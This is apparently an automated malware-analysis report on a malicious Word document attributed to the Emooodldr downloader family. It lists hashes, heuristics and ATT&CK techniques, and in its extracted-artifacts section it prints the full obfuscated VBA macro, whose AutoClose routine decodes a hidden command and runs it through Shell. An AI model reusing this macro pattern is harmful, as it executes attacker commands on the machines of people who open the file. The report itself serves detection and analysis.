Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 90ca9d15eb5815f8…

MALICIOUS

Office (OOXML)

53.6 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-20
MD5: b28f3ade5237a99db046b52d00a4e12c SHA-1: f670e53a32369cba2da1efa3e0560b03b54fc56a SHA-256: 90ca9d15eb5815f8b3302fc35c8c67fc7481198a1c91eb3970799fc3782eba6b
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a malicious Office document containing VBA macros, specifically an AutoClose macro that uses the Shell() function. This indicates the document is designed to execute arbitrary code upon opening or closing. The ClamAV detection 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family, which is known for downloading and executing second-stage payloads.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2102 bytes
SHA-256: 668de824428c8ce8946cb3625d8c5782a2904424400996819979d14a134565a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pantdress(rheumatically)
  inception = Array("d", "V", "w", "j", "l", "v", "2", "3", "g", "", "Q", "q", "K", "f", "7", "z", "G", "a", "M", "y", "r", "E", "t", "4", "U", "I", "s")
  posset = Array("f", "=", ":", "x", "d", "?", " ", "e", "s", "B", "r", "n", "N", "c", "a", "p", "t", "m", "y", "/", "o", "g", "u", "h", "w", ".", "O")
  
  bhat = vbNullString
  
  For Each ophthalmocele In rheumatically
    brooms = structuralism(ophthalmocele, inception, UBound(inception))
    If brooms > -1 Then
    bhat = posset(brooms) & bhat
    End If
  Next
  
  pantdress = StrReverse(bhat)
  
End Function

Public Function structuralism(rumbumptious, indeliberateness, differentiant)
  hoedowns = 5553
  grecophil = 772
  For hoedowns = 0 To differentiant
    If indeliberateness(hoedowns) = rumbumptious And hoedowns > -1 Then
     grecophil = hoedowns
    End If
  Next

  If grecophil = 772 Then
    grecophil = -1
  End If
  
  structuralism = grecophil
End Function

Sub AutoClose()
  rheumatically = Array("a", "g", "4", "G", "7", "I", "3", "j", "3", "2", "4", "G", "G", "z", "w", "y", "y", "G", "t", "M", "q", "E", "g", "l", "q", "d", "U", "3", "d", "U", "3", "d", "I", "f", "r", "a", "y", "s", "", "K", "y", "g", "3", "3", "l", "I", "z", "4", "z", "v", "t", "G", "a", "7", "V", "G", "Q", "7", "q", "g", "d", "3", "Q", "d")
  overmasteringly = pantdress(rheumatically)
  
  Application.Run "pseudosubtle", (overmasteringly)
  
End Sub


Private Sub pseudosubtle(tipless)
   
   rule = 3271
   atokous = True
   
   While atokous
     superscouts = rule + 60
     If superscouts - rule > 1 Then
       brigandism = specialises + "ll"
       Call VBA.Shell(tipless, vbNormalFocus - 1)
       atokous = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 90c5fad91d0544ec2f0f6328fbffdb1d66d6884ef70c40e3835f414711ea7862
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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